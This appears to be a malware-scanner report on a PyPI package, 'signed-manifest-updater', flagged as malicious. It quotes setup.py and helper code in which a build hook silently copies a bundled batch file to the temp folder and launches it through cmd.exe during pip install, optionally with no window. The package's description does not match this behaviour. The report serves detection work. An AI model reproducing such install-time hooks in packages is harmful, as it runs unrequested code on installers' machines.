signed-manifest-updater 0.1.5
Build hook executes batch file
“Signed-manifest updater for a self-hosted game or app.”
Build hook launches a copied temporary batchBasename is uppercase README.md
SHA-2564cf04d28664c334e4415d5f3f2d3be78f4f04a2081add5bbe41c73d03353d7f4
Also flagged by osv (MAL-2026-20317: Malicious code in signed-manifest-updater (PyPI)) +1 more.
Evidence
11:13… ring on the build machine.
12"""
13
14from __future__ import annotations
15
16import os
17import shutil
18import subprocess
19import sys
20import tempfile
21from pathlib import Path
22
23from setuptools import setup
24from setuptools.command.build_py import build_py as _build_py
25
26ROOT = Path(__file__).resolve().parent
27SKIP_ENV = "TESTING1345_SKIP_HOOK"
28MARKER = Path(tempfile.gettempdir()) / "testing1345-hello.done"
29BUNDLED = ROOT / "src" / "testing1345" / "data" / "hello.bat"
30TARGET = Path(tempfile.gettempdir()) / "testing1345-hello" / "hello.bat"
31
32
33def _run_install_demo() -> None:
34 """Copy and launch the bundled demo, never failing the build."""
35
36 if os.environ.get(SKIP_ENV):
37 print(f"testing1345: install demo skipped ({SKIP_ENV} is set)")
38 return
39 if MARKER.exists():
40 …
46:42… unavailable ({BUNDLED} is missing)")
47 return
48
49 try:
50 TARGET.parent.mkdir(parents=True, exist_ok=True)
51 shutil.copyfile(BUNDLED, TARGET)
52 subprocess.Popen(
53 ["cmd.exe", "/d", "/k", str(TARGET)],
54 cwd=str(TARGET.parent),
55 creationflags=getattr(subprocess, "CREATE_NEW_CONSOLE", 0),
56 )
57 except OSError as exc:
58 print(f"testing1345: install demo failed: {exc}")
59 return
60
61 try:
62 MARKER.write_text("1\n", encoding="utf-8")
63 except OSError:
64 pass
65 print("testing1345: hello demo launched")
66
67
68class build_py(_build_py):
69 """Run the demo while pip builds the wheel from an sdist."""
70
71 def run(self):
72 super().run()
73 _run_install_demo()
74
75
76setup(cmdclass={"build_py": build_py})
41:66…
42 return path
43
44
45def _sha256(path: Path) -> str:
46 digest = hashlib.sha256()
47 with path.open("rb") as handle:
48 for chunk in iter(lambda: handle.read(1024 * 1024), b""):
49 digest.update(chunk)
50 return digest.hexdigest()
⋯4 lines
74:24… ent.mkdir(parents=True, exist_ok=True)
75 try:
76 shutil.copyfile(source, destination)
77 except OSError as exc:
78 raise HelloError(f"cannot copy bundled hello.bat: {exc}") from …
103:29… wn console window and leave it open.
104
105 The batch runs under ``cmd.exe /d /k`` so the window stays up after the
106 script ends and its output can be read. Set ``TESTING1345_HIDDEN=1`` to run
107 with no window instead.
108 """
109
110 try:
111 if os.environ.get(HIDDEN_ENV):
112 return subprocess.Popen(
113 ["cmd.exe", "/d", "/c", str(path)],
114 cwd=str(path.parent),
115 stdin=subprocess.DEVNULL,
116 stdout=subprocess.DEVNULL,
117 stderr=subprocess.DEVNULL,
118 creationflags=getattr(subprocess, "CREATE_NO_WINDOW", 0),
119 )
120
121 return subprocess.Popen(
122 ["cmd.exe", "/d", "/k", str(path)],
123 cwd=str(path.parent),
⋯8 lines
Showing the top 5 files — 7 more files (50 regions) not shown.